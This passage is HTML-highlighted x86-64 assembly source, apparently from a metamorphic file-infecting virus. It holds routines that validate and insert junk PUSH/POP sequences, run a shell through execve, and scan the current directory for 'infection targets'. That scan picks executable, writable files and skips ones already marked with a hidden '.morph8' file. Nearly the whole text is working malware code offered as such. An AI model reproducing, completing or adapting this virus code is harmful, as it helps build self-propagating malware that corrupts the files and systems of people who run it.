    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;PUSH&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;              &lt;span class="c1"&gt;; reg1&lt;/span&gt;

    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r9&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;PUSH&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;              &lt;span class="c1"&gt;; reg2&lt;/span&gt;

    &lt;span class="c1"&gt;; registers must differ&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;cl&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.invalid&lt;/span&gt;

    &lt;span class="c1"&gt;; check POP sequence (reversed)&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r9&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;POP&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;cl&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.invalid&lt;/span&gt;

    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r9&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;POP&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.invalid&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;              &lt;span class="c1"&gt;; Valid sequence&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;

&lt;span class="nl"&gt;.invalid:&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;span class="nl"&gt;.done:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; insert new junk sequence&lt;/span&gt;
&lt;span class="nl"&gt;insert:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="nv"&gt;awn_junk&lt;/span&gt;

    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;;; shell command execution&lt;/span&gt;
&lt;span class="nl"&gt;exec_sh:&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x40&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;qword&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;sh_arg0_ptr&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;qword&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;qword&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;shell_path&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_execve&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_exit&lt;/span&gt;

&lt;span class="nl"&gt;sh_arg0_ptr:&lt;/span&gt; &lt;span class="kd"&gt;dq&lt;/span&gt; &lt;span class="nv"&gt;sh_arg0&lt;/span&gt;
&lt;span class="nl"&gt;sh_arg1_ptr:&lt;/span&gt; &lt;span class="kd"&gt;dq&lt;/span&gt; &lt;span class="nv"&gt;sh_arg1&lt;/span&gt;

&lt;span class="nl"&gt;list:&lt;/span&gt;                           &lt;span class="c1"&gt;; scan directory for infection targets&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;current_dir&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;O_RDONLY&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_open&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;jl&lt;/span&gt; &lt;span class="nv"&gt;.list_error&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

&lt;span class="nl"&gt;.list_loop:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;di&lt;/span&gt;&lt;span class="nv"&gt;r_buf&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4096&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_getdents64&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.list_done&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;

&lt;span class="nl"&gt;.list_entry:&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;jge&lt;/span&gt; &lt;span class="nv"&gt;.list_loop&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;di&lt;/span&gt;&lt;span class="nv"&gt;r_buf&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;word&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;    &lt;span class="c1"&gt;; d_reclen at offset 16&lt;/span&gt;

    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;
    &lt;span class="nf"&gt;jl&lt;/span&gt; &lt;span class="nv"&gt;.skip_entry&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4096&lt;/span&gt;
    &lt;span class="nf"&gt;jg&lt;/span&gt; &lt;span class="nv"&gt;.skip_entry&lt;/span&gt;

    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.skip_entry&lt;/span&gt;

    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;

    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s"&gt;'.'&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.check_file&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.skip_entry&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s"&gt;'.'&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.skip_entry&lt;/span&gt;

&lt;span class="nl"&gt;.check_file:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;basename&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;strcmp&lt;/span&gt;

    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.chosen_one&lt;/span&gt;

    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;

    &lt;span class="c1"&gt;; Check if filename starts with .morph8&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;hidden_prefix&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;

&lt;span class="nl"&gt;.see_hidden:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.is_hidden&lt;/span&gt;       &lt;span class="c1"&gt;; End of prefix - it's a hidden file&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.not_hidden&lt;/span&gt;     &lt;span class="c1"&gt;; Mismatch - not hidden&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.see_hidden&lt;/span&gt;

&lt;span class="nl"&gt;.is_hidden:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.skip_entry&lt;/span&gt;

&lt;span class="nl"&gt;.not_hidden:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;vxx_str&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;strstr&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jnz&lt;/span&gt; &lt;span class="nv"&gt;.found_vxx&lt;/span&gt;

    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;X_OK&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_access&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.not_exec&lt;/span&gt;

    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;W_OK&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_access&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.not_exec&lt;/span&gt;

    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.e_conditions&lt;/span&gt;

&lt;span class="nl"&gt;.not_exec:&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.skip_entry&lt;/span&gt;

&lt;span class="nl"&gt;.e_conditions:&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;hidden_name&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_open&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;O_RDONLY&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;

    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;js&lt;/span&gt; &lt;span class="nv"&gt;.not_exists&lt;/span&gt;

    &lt;span class="c1"&gt;; Hidden file exists - been here, skip it&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_close&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;
